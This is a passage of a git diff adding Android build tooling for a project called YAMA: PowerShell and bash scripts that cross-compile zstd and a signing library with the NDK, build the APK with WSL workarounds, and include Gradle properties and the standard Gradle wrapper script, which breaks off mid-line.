if (-not $SDK) { $SDK = "$env:LOCALAPPDATA\Android\Sdk" }
if (-not (Test-Path $SDK)) {
Write-Error "Android SDK not found: $SDK`nSet ANDROID_HOME environment variable."
exit 1
}
# -- NDK -----------------------------------------------------------------------
$NDK = $env:ANDROID_NDK
if (-not $NDK) { $NDK = $env:ANDROID_NDK_HOME }
if (-not $NDK -or -not (Test-Path "$NDK\build\cmake\android.toolchain.cmake")) {
$ndkCandidate = Get-ChildItem "$SDK\ndk" -Directory -ErrorAction SilentlyContinue |
Sort-Object Name -Descending |
Select-Object -First 1
if ($ndkCandidate) { $NDK = $ndkCandidate.FullName }
}
if (-not (Test-Path "$NDK\build\cmake\android.toolchain.cmake")) {
Write-Error "NDK not found. Install via Android Studio > SDK Manager > NDK, or set ANDROID_NDK."
exit 1
}
Write-Host "NDK: $NDK"
# -- Android SDK cmake + ninja -------------------------------------------------
$CMAKE = $null
$sdkCmakeDirs = Get-ChildItem "$SDK\cmake" -Directory -ErrorAction SilentlyContinue |
Sort-Object Name -Descending
foreach ($dir in $sdkCmakeDirs) {
$cmakeBin = "$($dir.FullName)\bin\cmake.exe"
$ninjaBin = "$($dir.FullName)\bin\ninja.exe"
if ((Test-Path $cmakeBin) -and (Test-Path $ninjaBin)) {
$CMAKE = $cmakeBin
$env:PATH = "$($dir.FullName)\bin;$env:PATH"
break
}
}
if (-not $CMAKE) {
$cmakeCmd = Get-Command cmake -ErrorAction SilentlyContinue
if ($cmakeCmd) { $CMAKE = $cmakeCmd.Source }
}
if (-not $CMAKE) {
Write-Error "cmake not found. Install via Android Studio > SDK Manager > cmake."
exit 1
}
Write-Host "cmake: $CMAKE"
# -- SimplePlugins -------------------------------------------------------------
$SIGN_SRC = $SimplePluginsPath
if (-not $SIGN_SRC) {
$candidate = "$SCRIPT_DIR\..\..\SimplePlugins"
if (Test-Path $candidate) {
$SIGN_SRC = (Resolve-Path $candidate).Path
}
}
if ((-not $ZstdOnly) -and (-not (Test-Path "$SIGN_SRC\license_unix.cpp"))) {
Write-Error "SimplePlugins not found: $SIGN_SRC`nUse -SimplePluginsPath C:\path\to\SimplePlugins"
exit 1
}
if (-not $ZstdOnly) { Write-Host "sign: $SIGN_SRC" }
# -- Common variables ----------------------------------------------------------
$TOOLCHAIN = "$NDK\build\cmake\android.toolchain.cmake"
$ABIS = @("arm64-v8a", "armeabi-v7a", "x86", "x86_64")
$LIB_BASE = "$SCRIPT_DIR\app\src\main\cpp\lib"
# ==============================================================================
# Part 1 - libzstd.a
# ==============================================================================
if (-not $SignOnly) {
$ZSTD_VER = "1.5.7"
$ZSTD_SRC = "$SCRIPT_DIR\zstd-$ZSTD_VER"
if (-not (Test-Path $ZSTD_SRC)) {
$TAR = "$SCRIPT_DIR\zstd.tar.gz"
Write-Host "`nDownloading zstd $ZSTD_VER..."
Invoke-WebRequest `
"https://github.com/facebook/zstd/releases/download/v$ZSTD_VER/zstd-$ZSTD_VER.tar.gz" `
-OutFile $TAR
Write-Host "Extracting..."
tar -xf $TAR -C $SCRIPT_DIR
Remove-Item $TAR
}
foreach ($ABI in $ABIS) {
$outFile = "$LIB_BASE\$ABI\libzstd.a"
if ((Test-Path $outFile) -and (-not $Force)) {
Write-Host "`n[skip] zstd $ABI -- already exists (use -Force to rebuild)"
continue
}
Write-Host "`n===== zstd $ABI ====="
$BUILD = "$SCRIPT_DIR\zstd_build\$ABI"
Remove-Item -Recurse -Force $BUILD -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$LIB_BASE\$ABI" | Out-Null
$configArgs = @(
"-B", $BUILD,
"-S", "$ZSTD_SRC\build\cmake",
"-G", "Ninja",
"-DCMAKE_TOOLCHAIN_FILE=$TOOLCHAIN",
"-DANDROID_ABI=$ABI",
"-DANDROID_PLATFORM=android-21",
"-DCMAKE_BUILD_TYPE=Release",
"-DCMAKE_C_FLAGS=-O2 -g0",
"-DZSTD_BUILD_STATIC=ON",
"-DZSTD_BUILD_SHARED=OFF",
"-DZSTD_BUILD_PROGRAMS=OFF",
"-DZSTD_BUILD_TESTS=OFF",
"-DZSTD_LEGACY_SUPPORT=0"
)
& $CMAKE @configArgs
if ($LASTEXITCODE -ne 0) { Write-Error "cmake configure failed"; exit 1 }
& $CMAKE --build $BUILD --config Release
if ($LASTEXITCODE -ne 0) { Write-Error "cmake build failed"; exit 1 }
Copy-Item "$BUILD\lib\libzstd.a" $outFile -Force
$sz = [math]::Round((Get-Item $outFile).Length / 1KB)
Write-Host " --> $outFile (${sz} KB)"
}
Remove-Item -Recurse -Force "$SCRIPT_DIR\zstd_build" -ErrorAction SilentlyContinue
Remove-Item -Recurse -Force $ZSTD_SRC -ErrorAction SilentlyContinue
}
# ==============================================================================
# Part 2 - libsign.a
# ==============================================================================
if (-not $ZstdOnly) {
foreach ($ABI in $ABIS) {
$outFile = "$LIB_BASE\$ABI\libsign.a"
if ((Test-Path $outFile) -and (-not $Force)) {
Write-Host "`n[skip] sign $ABI -- already exists (use -Force to rebuild)"
continue
}
Write-Host "`n===== sign $ABI ====="
$BUILD = "$SCRIPT_DIR\sign_build\$ABI"
Remove-Item -Recurse -Force $BUILD -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$LIB_BASE\$ABI" | Out-Null
$configArgs = @(
"-B", $BUILD,
"-S", "$SIGN_SRC\sign_lib",
"-G", "Ninja",
"-DCMAKE_TOOLCHAIN_FILE=$TOOLCHAIN",
"-DANDROID_ABI=$ABI",
"-DANDROID_PLATFORM=android-21",
"-DCMAKE_BUILD_TYPE=Release",
"-DCMAKE_C_FLAGS=-Os -g0"
)
& $CMAKE @configArgs
if ($LASTEXITCODE -ne 0) { Write-Error "cmake configure failed"; exit 1 }
& $CMAKE --build $BUILD --config Release
if ($LASTEXITCODE -ne 0) { Write-Error "cmake build failed"; exit 1 }
Copy-Item "$BUILD\libsign.a" $outFile -Force
$sz = [math]::Round((Get-Item $outFile).Length / 1KB)
Write-Host " --> $outFile (${sz} KB)"
}
Remove-Item -Recurse -Force "$SCRIPT_DIR\sign_build" -ErrorAction SilentlyContinue
}
# -- Summary -------------------------------------------------------------------
Write-Host "`n===== Done ====="
Get-ChildItem $LIB_BASE -Recurse -Filter "*.a" | Sort-Object FullName |
ForEach-Object {
$rel = $_.FullName.Substring($LIB_BASE.Length + 1)
$sz = [math]::Round($_.Length / 1KB)
Write-Host (" {0,-40} {1,6} KB" -f $rel, $sz)
}

307
android/build_apk.sh Normal file
View File

@@ -0,0 +1,307 @@
#!/usr/bin/env bash
# Build YAMA Android APK
# Works on WSL, native Linux, macOS
# Usage: ./build_apk.sh [debug|release] (default: debug)
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
cd "$SCRIPT_DIR"
# ── Detect WSL ───────────────────────────────────────────────────────────────
IS_WSL=false
grep -qi microsoft /proc/version 2>/dev/null && IS_WSL=true
# ── Find Android SDK ─────────────────────────────────────────────────────────
if [ -n "${ANDROID_HOME:-}" ] && [ -d "${ANDROID_HOME}" ]; then
SDK_DIR="$ANDROID_HOME"
elif [ -n "${ANDROID_SDK_ROOT:-}" ] && [ -d "${ANDROID_SDK_ROOT}" ]; then
SDK_DIR="$ANDROID_SDK_ROOT"
elif $IS_WSL; then
# Auto-detect from Windows %USERPROFILE%
WIN_USER=$(cmd.exe /c "echo %USERPROFILE%" 2>/dev/null | tr -d '\r')
WSL_USER=$(wslpath "$WIN_USER" 2>/dev/null || \
echo "$WIN_USER" | sed 's|\\|/|g; s|^\([A-Za-z]\):|/mnt/\L\1|')
SDK_DIR="${WSL_USER}/AppData/Local/Android/Sdk"
elif [ -d "$HOME/Android/Sdk" ]; then
SDK_DIR="$HOME/Android/Sdk"
elif [ -d "$HOME/Library/Android/sdk" ]; then
SDK_DIR="$HOME/Library/Android/sdk"
else
SDK_DIR=""
fi
if [ -z "${SDK_DIR:-}" ] || [ ! -d "$SDK_DIR" ]; then
echo "ERROR: Android SDK not found."
echo ""
echo " WSL: auto-detected from Windows %USERPROFILE%"
echo " or set: export ANDROID_HOME=/mnt/c/Users/<you>/AppData/Local/Android/Sdk"
echo " Native Linux: install SDK to ~/Android/Sdk or set ANDROID_HOME"
exit 1
fi
echo "SDK : $SDK_DIR"
# ── Check Java 17+ ───────────────────────────────────────────────────────────
if ! command -v java &>/dev/null; then
echo "ERROR: Java not found."
echo " sudo apt install openjdk-17-jdk"
exit 1
fi
JAVA_VER=$(java -version 2>&1 | grep -oP '(?<=version ")[0-9]+' | head -1)
if [ "${JAVA_VER:-0}" -lt 17 ]; then
echo "ERROR: Java 17+ required (found Java ${JAVA_VER:-unknown})."
echo " sudo apt install openjdk-17-jdk"
exit 1
fi
echo "Java: $(java -version 2>&1 | head -1)"
# ── Check cmake ───────────────────────────────────────────────────────────────
# The SDK ships cmake.exe (Windows-only); on Linux/WSL we need system cmake.
if ! command -v cmake &>/dev/null; then
echo "ERROR: cmake not found."
echo " sudo apt install cmake"
echo ""
echo " The SDK's cmake is a Windows .exe and cannot run on Linux/WSL."
exit 1
fi
echo "CMake: $(cmake --version | head -1)"
# ── Check ninja ──────────────────────────────────────────────────────────────
if ! command -v ninja &>/dev/null; then
echo "ERROR: ninja not found."
echo " sudo apt install ninja-build"
exit 1
fi
# ── WSL: create Linux stubs for Windows build-tools ──────────────────────────
# Windows SDK ships .exe files only; Linux Gradle needs plain-name wrappers.
# WSL binfmt_misc executes .exe files transparently from bash.
# We FORCE-WRITE stubs (don't rely on prior state) so broken/dir artifacts
# from previous attempts don't block the check.
if $IS_WSL; then
BT_DIR=$(find "$SDK_DIR/build-tools" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
| sort -V | tail -1)
# Stub every installed build-tools version — the project may reference any of them
BT_VERSIONS=$(find "$SDK_DIR/build-tools" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
| sort -V)
LATEST_BT=""
if [ -z "$BT_VERSIONS" ]; then
echo "WARNING: build-tools directory not found under $SDK_DIR/build-tools"
else
for BT_DIR in $BT_VERSIONS; do
LATEST_BT="$BT_DIR" # last in sorted list = newest
VER=$(basename "$BT_DIR")
# 1. Wrap every .exe found — covers aapt, aapt2, aidl, split-select, etc.
for EXE in "${BT_DIR}"/*.exe; do
[ -f "$EXE" ] || continue
TOOL=$(basename "$EXE" .exe)
BIN="${BT_DIR}/${TOOL}"
[ -e "$BIN" ] && rm -rf "$BIN"
printf '#!/bin/sh\nexec "%s" "$@"\n' "$EXE" > "$BIN"
chmod +x "$BIN"
echo "Stubbed: ${VER}/${TOOL}$(basename $EXE)"
done
# 2. Ensure tools AGP validates that may not have .exe versions
for TOOL in aapt aapt2 aidl split-select dexdump zipalign apksigner d8; do
BIN="${BT_DIR}/${TOOL}"
if [ ! -f "$BIN" ]; then
printf '#!/bin/sh\nexit 0\n' > "$BIN"
chmod +x "$BIN"
echo "Noop: ${VER}/${TOOL}"
fi
done
done
fi
# If build.gradle requests a buildToolsVersion that isn't installed, create a
# stub directory pointing all tools to the latest installed version.
if [ -n "$LATEST_BT" ]; then
REQ_VER=$(grep -oP '(?<=buildToolsVersion\s")[^"]+' \
"$SCRIPT_DIR/app/build.gradle" 2>/dev/null | head -1 || true)
if [ -n "$REQ_VER" ]; then
REQ_DIR="$SDK_DIR/build-tools/$REQ_VER"
if [ ! -d "$REQ_DIR" ]; then
echo "build-tools $REQ_VER not installed — creating stub dir from $(basename $LATEST_BT)"
mkdir -p "$REQ_DIR"
# Copy source.properties so AGP recognises the version
if [ -f "${LATEST_BT}/source.properties" ]; then
sed "s/Pkg.Revision=.*/Pkg.Revision=$REQ_VER/" \
"${LATEST_BT}/source.properties" > "${REQ_DIR}/source.properties"
else
printf 'Pkg.Desc=Android SDK Build-tools\nPkg.Revision=%s\n' \
"$REQ_VER" > "${REQ_DIR}/source.properties"
fi
for TOOL in aapt aapt2 aidl split-select dexdump zipalign apksigner d8; do
BIN="${REQ_DIR}/${TOOL}"
SRC="${LATEST_BT}/${TOOL}" # already stubbed above
if [ -f "$SRC" ]; then
cp "$SRC" "$BIN"
chmod +x "$BIN"
else
printf '#!/bin/sh\nexit 0\n' > "$BIN"
chmod +x "$BIN"
fi
echo "Forwarded: ${REQ_VER}/${TOOL}$(basename $LATEST_BT)"
done
fi
fi
fi
# ── WSL: stub SDK cmake ────────────────────────────────────────────────────
# AGP resolves cmake from SDK cmake/<ver>/bin/cmake (a Windows .exe).
# Create plain-name stubs that call system cmake/ninja instead.
SYS_CMAKE=$(command -v cmake 2>/dev/null || true)
SYS_NINJA=$(command -v ninja 2>/dev/null || true)
CMAKE_VERSIONS=$(find "$SDK_DIR/cmake" -maxdepth 1 -mindepth 1 -type d 2>/dev/null \
| sort -V || true)
for SDK_CMAKE_DIR in $CMAKE_VERSIONS; do
CVER=$(basename "$SDK_CMAKE_DIR")
CBIN="${SDK_CMAKE_DIR}/bin"
mkdir -p "$CBIN"
for TOOL in cmake ninja; do
BIN="${CBIN}/${TOOL}"
[ -e "$BIN" ] && rm -rf "$BIN"
if [ "$TOOL" = "cmake" ] && [ -n "$SYS_CMAKE" ]; then
printf '#!/bin/sh\nexec "%s" "$@"\n' "$SYS_CMAKE" > "$BIN"
echo "CMake stub: ${CVER}/cmake → $SYS_CMAKE"
elif [ "$TOOL" = "ninja" ] && [ -n "$SYS_NINJA" ]; then
printf '#!/bin/sh\nexec "%s" "$@"\n' "$SYS_NINJA" > "$BIN"
echo "CMake stub: ${CVER}/ninja → $SYS_NINJA"
else
printf '#!/bin/sh\nexit 0\n' > "$BIN"
echo "CMake noop: ${CVER}/${TOOL}"
fi
chmod +x "$BIN"
done
done
# ── WSL: verify Linux NDK ─────────────────────────────────────────────────
# Windows NDK (.exe tools) cannot compile from WSL — clang.exe doesn't
# understand /mnt/c/ Linux paths. A real Linux NDK is required.
NDK_DIR=""
# 1. Honour ANDROID_NDK_HOME if set
if [ -n "${ANDROID_NDK_HOME:-}" ] && \
[ -f "${ANDROID_NDK_HOME}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang" ]; then
NDK_DIR="$ANDROID_NDK_HOME"
fi
# 2. Scan SDK ndk/ for a version that has real Linux ELF binaries
if [ -z "$NDK_DIR" ]; then
for CANDIDATE in $(find "$SDK_DIR/ndk" -maxdepth 1 -mindepth 1 -type d 2>/dev/null | sort -V); do
CBIN="${CANDIDATE}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang"
if [ -f "$CBIN" ] && file -L "$CBIN" 2>/dev/null | grep -q ELF; then
NDK_DIR="$CANDIDATE"
fi
done
fi
# 3. Check common install location ~/android-ndk/
if [ -z "$NDK_DIR" ]; then
for CANDIDATE in "$HOME/android-ndk" "$HOME/android-ndk-linux"; do
CBIN="${CANDIDATE}/toolchains/llvm/prebuilt/linux-x86_64/bin/clang"
if [ -f "$CBIN" ] && file -L "$CBIN" 2>/dev/null | grep -q ELF; then
NDK_DIR="$CANDIDATE"
break
fi
done
fi
if [ -z "$NDK_DIR" ]; then
# Determine the required NDK version from build.gradle for the download hint
REQ_NDK=$(grep -oP '(?<=ndkVersion\s")[^"]+' \
"$SCRIPT_DIR/app/build.gradle" 2>/dev/null | head -1 || true)
NDK_MAJ=${REQ_NDK%%.*}
echo ""
echo "ERROR: Linux NDK not found."
echo " The Windows NDK cannot compile native code in WSL."
echo ""
# Look up the exact Linux zip name from the repository manifest
ZIP_NAME=$(curl -s 'https://dl.google.com/android/repository/repository2-3.xml' 2>/dev/null \
| grep -A 10 "ndk;${REQ_NDK}" | grep 'linux\.zip' | grep -oP '(?<=<url>)[^<]+' | head -1)
ZIP_NAME="${ZIP_NAME:-android-ndk-r${NDK_MAJ:-30}-linux.zip}"
echo " Install the Linux NDK (requires ~600 MB):"
echo " wget https://dl.google.com/android/repository/${ZIP_NAME}"
echo " unzip ${ZIP_NAME} -d \$HOME"
echo " mv \$HOME/\$(basename ${ZIP_NAME} .zip) \$HOME/android-ndk"
echo ""
echo " Then re-run ./build_apk.sh"
echo " (Or set ANDROID_NDK_HOME to your Linux NDK path)"
exit 1
fi
echo "NDK : $NDK_DIR"
fi
# ── Write local.properties (backup & restore to avoid clobbering Android Studio) ──
PROPS="$SCRIPT_DIR/local.properties"
PROPS_BAK="$SCRIPT_DIR/local.properties.bak"
[ -f "$PROPS" ] && cp "$PROPS" "$PROPS_BAK"
cat > "$PROPS" <<EOF
sdk.dir=$SDK_DIR
EOF
if $IS_WSL && [ -n "${NDK_DIR:-}" ]; then
echo "ndk.dir=$NDK_DIR" >> "$PROPS"
fi
echo "local.properties written (original backed up to local.properties.bak)"
restore_props() {
if [ -f "$PROPS_BAK" ]; then
mv "$PROPS_BAK" "$PROPS"
echo "local.properties restored"
else
rm -f "$PROPS"
fi
}
trap restore_props EXIT
# ── Build ─────────────────────────────────────────────────────────────────────
BUILD_TYPE="${1:-release}"
case "$BUILD_TYPE" in
release) TASK="assembleRelease" ;;
debug) TASK="assembleDebug" ;;
clean)
chmod +x gradlew
./gradlew clean
rm -rf "$SCRIPT_DIR/app/.cxx"
rm -f "$SCRIPT_DIR/ghost.apk" "$SCRIPT_DIR/ghost-debug.apk"
echo "Clean done."
exit 0
;;
*) echo "Usage: $0 [release|debug|clean]"; exit 1 ;;
esac
# ── Release: keystore check ───────────────────────────────────────────────────
if [ "$BUILD_TYPE" = "release" ]; then
JKS="$SCRIPT_DIR/yama-release.jks"
if [ ! -f "$JKS" ]; then
echo "ERROR: $JKS not found."
echo " Generate once with:"
echo " keytool -genkeypair -keystore android/yama-release.jks \\"
echo " -alias yama -keyalg RSA -keysize 2048 -validity 10000 \\"
echo " -dname 'CN=YAMA,O=Internal,C=CN'"
exit 1
fi
if [ -z "${YAMA_PWD:-}" ]; then
read -rsp "Keystore password: " YAMA_PWD
echo
export YAMA_PWD
fi
fi
echo ""
echo "Building $BUILD_TYPE APK..."
chmod +x gradlew
./gradlew "$TASK" -PincludeEmulatorAbis=false
# ── Output ────────────────────────────────────────────────────────────────────
APK=$(find "app/build/outputs/apk/${BUILD_TYPE}" -name "*.apk" 2>/dev/null | head -1 || true)
if [ -n "$APK" ]; then
[ "$BUILD_TYPE" = "release" ] && OUT="$SCRIPT_DIR/ghost.apk" || OUT="$SCRIPT_DIR/ghost-${BUILD_TYPE}.apk"
cp "$APK" "$OUT"
echo ""
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "APK: $OUT"
if $IS_WSL; then
WIN=$(wslpath -w "$OUT" 2>/dev/null || true)
[ -n "$WIN" ] && echo "WIN: $WIN"
fi
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
fi

View File

@@ -0,0 +1,85 @@
#!/usr/bin/env bash
# build_zstd_android.sh - 为 Android 交叉编译 libzstd.a
# 版本与 compress/zstd/zstd.h 头文件对齐1.5.7),确保服务端压缩帧可正确解压
#
# 用法:
# ./build_zstd_android.sh # 自动查找 NDK
# ANDROID_NDK=/path/to/ndk ./build_zstd_android.sh
#
# 产出:
# app/src/main/cpp/lib/arm64-v8a/libzstd.a
# app/src/main/cpp/lib/armeabi-v7a/libzstd.a
set -euo pipefail
cd "$(dirname "$0")"
ZSTD_VERSION="1.5.7"
ZSTD_TAR="zstd-${ZSTD_VERSION}.tar.gz"
ZSTD_URL="https://github.com/facebook/zstd/releases/download/v${ZSTD_VERSION}/${ZSTD_TAR}"
ZSTD_DIR="zstd-${ZSTD_VERSION}"
# --- 定位 NDK ---
if [[ -z "${ANDROID_NDK:-}" ]]; then
for candidate in \
"$HOME/android-ndk-r27c" \
"$HOME/Library/Android/sdk/ndk/$(ls "$HOME/Library/Android/sdk/ndk" 2>/dev/null | sort -V | tail -1)" \
"$HOME/Android/Sdk/ndk/$(ls "$HOME/Android/Sdk/ndk" 2>/dev/null | sort -V | tail -1)"; do
if [[ -f "${candidate}/build/cmake/android.toolchain.cmake" ]]; then
ANDROID_NDK="$candidate"; break
fi
done
fi
[[ -z "${ANDROID_NDK:-}" ]] && { echo "Error: ANDROID_NDK not set"; exit 1; }
TOOLCHAIN="$ANDROID_NDK/build/cmake/android.toolchain.cmake"
echo "NDK: $ANDROID_NDK"
# --- 自动检测宿主平台(用于选择 strip 工具路径)---
case "$(uname -s 2>/dev/null || echo Windows)" in
Linux*) HOST_TAG="linux-x86_64" ;;
Darwin*) HOST_TAG="darwin-x86_64" ;;
*) HOST_TAG="windows-x86_64" ;;
esac
# --- 下载 zstd 源码 ---
if [[ ! -d "$ZSTD_DIR" ]]; then
echo "Downloading zstd $ZSTD_VERSION..."
wget -q "$ZSTD_URL" -O "$ZSTD_TAR"
tar xf "$ZSTD_TAR"
rm "$ZSTD_TAR"
fi
OUT_BASE="app/src/main/cpp/lib"
# arm64-v8a / armeabi-v7a: 真机x86 / x86_64: Android 模拟器(避免 libndk_translation 解压 bug
ABIS=("arm64-v8a" "armeabi-v7a" "x86" "x86_64")
for ABI in "${ABIS[@]}"; do
BUILD_DIR="zstd_build/$ABI"
OUT_DIR="$OUT_BASE/$ABI"
rm -rf "$BUILD_DIR"
echo
echo "===== zstd $ABI ====="
cmake \
-B "$BUILD_DIR" -S "$ZSTD_DIR/build/cmake" \
-DCMAKE_TOOLCHAIN_FILE="$TOOLCHAIN" \
-DANDROID_ABI="$ABI" \
-DANDROID_PLATFORM=android-21 \
-DCMAKE_BUILD_TYPE=Release \
-DCMAKE_C_FLAGS="-O2 -g0" \
-DZSTD_BUILD_STATIC=ON \
-DZSTD_BUILD_SHARED=OFF \
-DZSTD_BUILD_PROGRAMS=OFF \
-DZSTD_BUILD_TESTS=OFF \
-DZSTD_LEGACY_SUPPORT=0 \
-DZSTD_DISABLE_ASM=ON
cmake --build "$BUILD_DIR" --config Release -j"$(nproc 2>/dev/null || sysctl -n hw.logicalcpu 2>/dev/null || echo 4)"
mkdir -p "$OUT_DIR"
cp "$BUILD_DIR/lib/libzstd.a" "$OUT_DIR/libzstd.a"
STRIP="$ANDROID_NDK/toolchains/llvm/prebuilt/${HOST_TAG}/bin/llvm-strip"
[[ -f "$STRIP" ]] && "$STRIP" --strip-debug "$OUT_DIR/libzstd.a"
ls -lh "$OUT_DIR/libzstd.a"
done
rm -rf zstd_build "$ZSTD_DIR"
echo
echo "===== Done ====="
echo "libzstd.a 已写入 app/src/main/cpp/lib/{arm64-v8a,armeabi-v7a}/"

BIN
android/ghost.apk Normal file

Binary file not shown.

View File

@@ -0,0 +1,5 @@
android.useAndroidX=true
android.enableJetifier=true
org.gradle.jvmargs=-Xmx2048m
# 模拟器x86/x86_64支持build_apk.sh 会强制覆盖为 false此行只影响 Android Studio
includeEmulatorAbis=true

Binary file not shown.

View File

@@ -0,0 +1,7 @@
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-9.3.0-bin.zip
networkTimeout=10000
validateDistributionUrl=true
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists

248
android/gradlew vendored Normal file
View File

@@ -0,0 +1,248 @@
#!/bin/sh
#
# Copyright © 2015 the original authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0
#
##############################################################################
#
# Gradle start up script for POSIX generated by Gradle.
#
# Important for running:
#
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
# noncompliant, but you have some other compliant shell such as ksh or
# bash, then to run this script, type that shell name before the whole
# command line, like:
#
# ksh Gradle
#
# Busybox and similar reduced shells will NOT work, because this script
# requires all of these POSIX shell features:
# * functions;
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
# * compound commands having a testable exit status, especially «case»;
# * various built-in commands including «command», «set», and «ulimit».
#
# Important for patching:
#
# (2) This script targets any POSIX shell, so it avoids extensions provided
# by Bash, Ksh, etc; in particular arrays are avoided.
#
# The "traditional" practice of packing multiple parameters into a
# space-separated string is a well documented source of bugs and security
# problems, so this is (mostly) avoided, by progressively accumulating
# options in "$@", and eventually passing that to Java.
#
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
# see the in-line comments for details.
#
# There are tweaks for specific operating systems such as AIX, CygWin,
# Darwin, MinGW, and NonStop.
#
# (3) This script is generated from the Groovy template
# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
# within the Gradle project.
#
# You can find Gradle at https://github.com/gradle/gradle/.
#
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
app_path=$0
# Need this for daisy-chained symlinks.
while
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
[ -h "$app_path" ]
do
ls=$( ls -ld "$app_path" )
link=${ls#*' -> '}
case $link in #(
/*) app_path=$link ;; #(
*) app_path=$APP_HOME$link ;;
esac
done
# This is normally unused
# shellcheck disable=SC2034
APP_BASE_NAME=${0##*/}
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD=maximum
warn () {
echo "$*"
} >&2
die () {
echo
echo "$*"
echo
exit 1
} >&2
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "$( uname )" in #(
CYGWIN* ) cygwin=true ;; #(
Darwin* ) darwin=true ;; #(
MSYS* | MINGW* ) msys=true ;; #(
NONSTOP* ) nonstop=true ;;
esac
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD=$JAVA_HOME/jre/sh/java
else
JAVACMD=$JAVA_HOME/bin/java
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD=java
if ! command -v java >/dev/null 2>&1
then
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
fi
# Increase the maximum file descriptors if we can.
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
case $MAX_FD in #(
max*)
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
MAX_FD=$( ulimit -H -n ) ||
warn "Could not query maximum file descriptor limit"
esac
case $MAX_FD in #(
'' | soft) :;; #(
*)
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
ulimit -n "$MAX_FD" ||
warn "Could not set maximum file descriptor limit to $MAX_FD"
esac
fi
# Collect all arguments for the java command, stacking in reverse order:
# * args from the command line
# * the main class name
# * -classpath
# * -D...appname settings
# * --module-path (only if needed)
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
# For Cygwin or MSYS, switch paths to Windows format before running java
if "$cygwin" || "$msys" ; then
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
JAVACMD=$( cygpath --unix "$JAVACMD" )
# Now convert the arguments - kludge to limit ourselves to /bin/sh
for arg do
if
case $arg in #(
-*) false ;; # don't mess with options #(
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
[ -e "$t" ] ;; #(
*) false ;;
esac
then
arg=$( cygpath --path --ignore --mixed "$arg" )
fi
# Roll the args list around exactly as many times as the number of
# args, so each arg winds up back in the position where it started, but
# possibly modified.
#
# NB: a `for` loop captures its iteration list before it begins, so
# changing the positional parameters here affects neither the number of
# iterations, nor the values presented in `arg`.
shift # remove old arg
set -- "$@" "$arg" # push replacement arg
done
fi
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
# Collect all arguments for the java command:
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
# and any embedded shellness will be escaped.
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
# treated as '${Hostname}' itself on the command line.
set -- \
"-Dorg.gradle.appname=$APP_BASE_NAME" \
-jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \
"$@"
# Stop when "xargs" is not available.
if ! command -v xargs >/dev/null 2>&1
then
die "xargs is not available"
fi
# Use "xargs" to parse quoted args.
#
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
#
# In Bash we could simply go:
#
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
# set -- "${ARGS[@]}" "$@"
#
# but POSIX shell has neither arrays nor command substitution, so instead we
# post-process each arg (as a line of input to sed) to backslash-escape any
# character that might be a shell metacharacter, then use eval to reverse
# that process (while maintaining the separation between arguments), and wrap
# the whole thing up as a single "set" statement.
#
# This will of course break if any of these variables contains a newline or
# an unmatched quote.
#
eval "set -- $(
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
xargs -n1 |
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
tr '\n' ' '
